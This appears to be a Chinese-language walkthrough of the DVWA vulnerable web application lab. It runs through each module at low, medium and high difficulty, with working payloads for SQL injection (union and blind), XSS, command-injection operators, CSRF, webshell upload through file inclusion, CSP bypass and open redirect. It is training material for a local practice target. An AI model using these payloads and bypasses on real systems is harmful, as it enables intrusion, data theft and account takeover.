靶场搭建
DVWA靶场的下载地址 https://github.com/digininja/DvWA/archive/master.zip
这里是用小皮在windows下搭建的,也比较简单
下载完解压到小皮的www目录下
进入DVWA-master\config将config.inc.php.dist文件后缀名删除,
并打开配置如图
浏览器就可以访问了http://127.0.0.1/DVWA-master/
首次进入下滑最下面创建数据库,就进入了
Brute Force(暴力破解)
low level
输入字符没有任何过滤,直接用bp来爆破
随便输入采用Cluster bomb 进行爆破
获取到账号密码
medium level
分析源码加入了mysqli_real_escape_string()函数,防止了部分SQL注入
还是爆破
和low一样
high level
分析源码
加入了Anti-CSRF token验证,还是可以进行暴力破解的,不过要知道用户名这里是(admin)
发送intruder 选择 Pitchfork
Command Injection(命令注入)
low level
command1 && command2 先执行command1,如果为真,再执行command2
command1 & command2 command1 与command2同时执行,不管command1 是否执行成功
command1 || command2 先执行command1 ,如果为假,再执行command2
command1 | command2 只执行command2
command1 ;command2 先执行1,后执行2(linux)
等级为low没有什么过滤
Medium level
过滤了&& 不过可以使用 ||
high level
过滤了| 、&&、&
但没有过滤||
CSRF
low level
查看源码,发现只验证了 新密码和确认密码是否一致
随便输入新密码和确认密码 发现url中存在泄露
通过站长之家构造短链接,显得给更真实
访问成功,成功进行修改
medium level
审计源代码stripos()函数查找字符串再另一个字符串中第一次出现的位置(不区分大小写)
检查了保留变量HTTP_REFERTER(http包头部的referter字段的值,表示来源地址)是否包含SERVER-NAME(http包头部Host字段表示要访问的主机)
构造恶意页面文件名改为127.0.0.1.html ,HTTP_REFERTER就会包含127.0.0.1.html,就可以绕过stripos
high level
查看源代码发现增加了token验证
在burp安装插件,添加主机名name token值,再重新抓包进行重放
可以任意修改密码
File Inclusion(文件包含)
low level
进入访问1.php 查看 ,发现5.php 存在include函数
可以利用文件上传一句话木马,复制路径通过文件包含看是否解析
复制路径,../../hackable/uploads/include.php
使用蚁剑进行连接
Medium level
查看源码
使用str_replace对http:// ,https://替换成空,可以使用双写进行远程命令执行
还过滤了../、..\可以使用绝对路径的方式进行绕过
high level
fnmatch()函数根据指定的模式来匹配文件名或字符串,可以看到,High级别的代码对包含的文件名进行了限制,必须为file*或者include.php ,否则会error
File Upload
low level
没有对上传的文件做任何限制,直接上传一句话木马,蚁剑进行连接
medium level
查看源码验证了文件类型,和文件大小
上传成功 蚁剑连接
high level
看到一个getimagesize(string filename)函数 他会通过读取文件头,返回图片的长,宽等信息,如果图片没有文件头,函数就会报错,读取文件名中最后一个'.'后的字符串,必须是.jpg/.jpeg/.png 之一
上传一个图片马,通过文件包含进行解析,或者通过命令执行进行修改后缀名
通过命令执行重命名了
Inssecure CAPTCHA(不安全的验证码)
low level
查看源码发现只验证了change,step参数来判断用户是否输入了正确的验证码,抓包进行绕过
将step值修改为2,即可
medium level
查看源码发现这次验证了5个参数,抓包进行修改
增加了 passed_captcha=true
high level
查看源代码发现验证 g-recaptcha-response
User-Agent
漏洞利用
按照限制,抓取修改密码数据包 User-Agent: reCAPTCHA
g-recaptcha-response=hidd3n_valu3
SQL Injection
low level
通过输入1 可查询到admin 1' 失败
可以判断出ID是被''包括起来,输入字符型注入
判断字段数,有两个字段
判断回显位,判断数据库名称
接着判断表名,列明,字段值
-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
medium level
使用了mysql_real_wescape_string函数对特殊符号\x00,\n,\r,,',",\x1a进行转义,同时前端页面设置了下拉选择表单,
1 and 1=1# 查询成功,
1 and 1=2 union select 1, concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273), floor(rand(0)*2))x from information_schema.tables group by x#
high level
可以看到。添加了LIMIT1 ,希望以此控制只输出一个结果,提交页面和查询结果不是同一个,也没有302跳转,这样做的目的是为了防止一般的sqlmap注入
SQL Injection(Blind)
low level
有两种回显 存在: User ID exists in the database; 不存在: User ID is MISSING from the database;
存在字符型盲注
猜解数据库长度
1' and length(database())>10 #
1' and length(database())=4 #
数据库的第一个字符,利用substr()函数 从给定字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的位置,并分别转换位ASCLL,与对应的ascii值比较
substr(string,start,length);
第一个字符为1' and ascii(substr(database(),1,1))=100 #
第二个字符为1' and ascii(substr(database(),2,1))=118#
猜解数据库中的表名,先猜解表的个数,表的名字长度,表的每一个字符
1' and (select count (table_name) from information_schema.tables where table_schema=database()) =2 #
表名称的长度,
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
第一个表的第一个字符
1’ and ascii (substr((select table_name from iniformation_schema.tables where table_schema=database() limit 0,1),1,1))=103#
猜解表中的字段名
表中的字段数目,长度,字段的字符组成
猜解users表的字段数目:
长度
1' and (select count (column_name) from information_schema.columns where table_schema=database() and table_name='users')=8#
数据库中的字段名称
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #
dvwa.users表的user的第一条记录长5个字符
1' and length(substr((select password from users limit 0,1),1))=32 #
medium level
post提交方式
延时注入
判断数据库长度
1 and if (length (database())=4,sleep(5),1)#
判断数据库的第一个字符
1 and if(ascii(substr(database(),1,1))=100,sleep(5),1) #
high level
Weak Session IDs
low level
简介 当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Session去访问。
每次点击都会dvwaSession 都会增加1
通过这个可以构造
payload:dvwaSession=4; security=low; PHPSESSID=p4g2t2r17un6elgirj3pbdfnf4
XSS (DOM)
low level
直接在default插入弹窗语句
medium level
查看源码,发现过滤了"<script" 构造payload
</option></select><img src=x onerror=alert(1)>
high level
查看源代码,发现只对default进行检查
设置payload &<script>alert(1)</script>
XSS(Reflected)反射性
low level
可以直接输入弹窗语句<script>alert('a')</script>
成功
medium level
查看源码,发现<script>被过滤了为空,可以使用大小写进行绕过
<ScRipt>alert('xss')</ScRipt>
high level
high级别的代码使用了正则表达式直接把<*s*c*r*i*p*t>给过滤了,*代表一个或任意字符,i代表不区分大小写,所以<script>标签在这里就不能用
不过可以使用img,svg body等标签的事件或者iframe等标签注入恶意js代码
<img src=1 οnerrοr=alert('xss')>
XSS(Stored)
low level
查看源代码
trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t \n
\x0B \r 以及空格,可选参数charlist支持添加额外需要删除的字符
mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号 (\x00 ,\n \r \,' ," ,\x1a)进行转义
stripslashes(string)函数删除字符串中的反斜杠。
可以看到,对输入并没有坐XSS方面的过滤与检查,且存储在数据库中
进行测试
medium level
strip_tags()
函数剥去字符串中的HTML 、XML 以及PHP的标签,但允许使用标签
addslases()
函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加发斜杠的字符串。
可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法在通过message参数注入xss代码,但是对于name参数,只是简单的过滤
修改长度,大小写绕过
high level
查看源码 message变量依然无法注入,name变量正则过滤更加完善,不区分大小写,且使用通配符匹配,导致嵌套构造的方法也不行,
<img src=1 onerror=alert(1) />
CSP Bypass
low level
您可以包含来自外部源的脚本,检测内容安全策略,然后再此处输入要包含的URL:
查看源代码
首先,通过设置$headerCSP变量来定义CSP的策略规则
script-src指令被用来限制可执行的脚本的来源。通过设置'self'、https://pastebin.com、hastebin.con、www.toptal.com、 example.com 、code.jquery.com 和https://ssl.google-analytics.com这些来源。来允许从这些地址加载JavaScript。
然后,使用header()函数将定义好的CSP头部发送给浏览器,以告知浏览器采用CSP策略
接着是一个简单的网页表单,允许用户输入一个URL ,并在提交表单时使用$_POST['include']获取用户输入的URL.如果用户输入了URL ,那么会根据用户输入的URL动态生成一个<script>标签来加载外部脚本。
https://pastebin.com
medium level
首先,代码通过设置$headerCSP变量定义了一个内容安全策略头部。通过"script-src" 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=
' 指令设置nonce ,其目的是为了提供额外的安全性,确保只有具有相应nonce的脚本能够被执行。这样可以防止未经授权的脚本注入攻击。然后使用header($headerCSP);将该内容安全策略头部应用于响应头。
接下来,通过header("X-XSS-Protection:0");这行代码,禁用了浏览器的跨站脚本攻击(xss)防护机制,以便内联的弹窗警告框能够正常工作
接下来的代码段是一个表单,允许用户输入内容,并将该内容直接输出到页面中。用户可以在文本框中输入任意内容,这些内容将被添加到页面的主体部分
构造poc
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("xss")</script>
high level
由于 include
为可控参数且回调函数的名称solveSum
可更改
故构造POC如下:
include=<script src="source/jsonp.php?callback=alert("qiushuo");"></script>
JavaScript
low level
输入success 提示token错误
查看源码
最下面的才是关键我们提交的phrase先调用rot13函数,再调用MD5函数,得到的值就是token,这两个函数就是加密方式。调用的函数就是generate_token(),我们只需要将关键字改为success再调用一遍这个函数就可以。
medium level
直接查看源码
源码中直接调用了一个medium.js文件,这个文件就是加密文件,里面的内容就是第二部分的代码
token是由do_elsesomething("XX")产生,上下都在定义函数,只有中间的两行再调用函数,
Open HTTP Redirect
low level
点击quote1 发现下面的url
查看源码得
可构造Payload如下:
?redirect=跳转网页url
例如: ?redirect=https://www.baidu.com
127.0.0.1/DVWA-master/vulnerabilities/open_redirect/source/low.php?redirect=https://www.baidu.com
发现可以跳转道百度页面
medium level
刚开始页面是一样的
查看源码看看
发现对http和https进行了判定
不过可以使用其他方法实现重定向:这里使用javaScript进行重定向或者使用服务器端重定向
代码如下:
<script type="text/javascript">
var redirectURL = "https://www.baidu.com";
windows.location.href = redirectURL; //执行重定向
</script>
还可以使用代理页面: 创建一个中间代理页面,用户访问该页面时,该页面再将请求重定向到百度
创建一个php的文件
例如
<?php
header("Location: http://www.baidu.com");
exit;
?>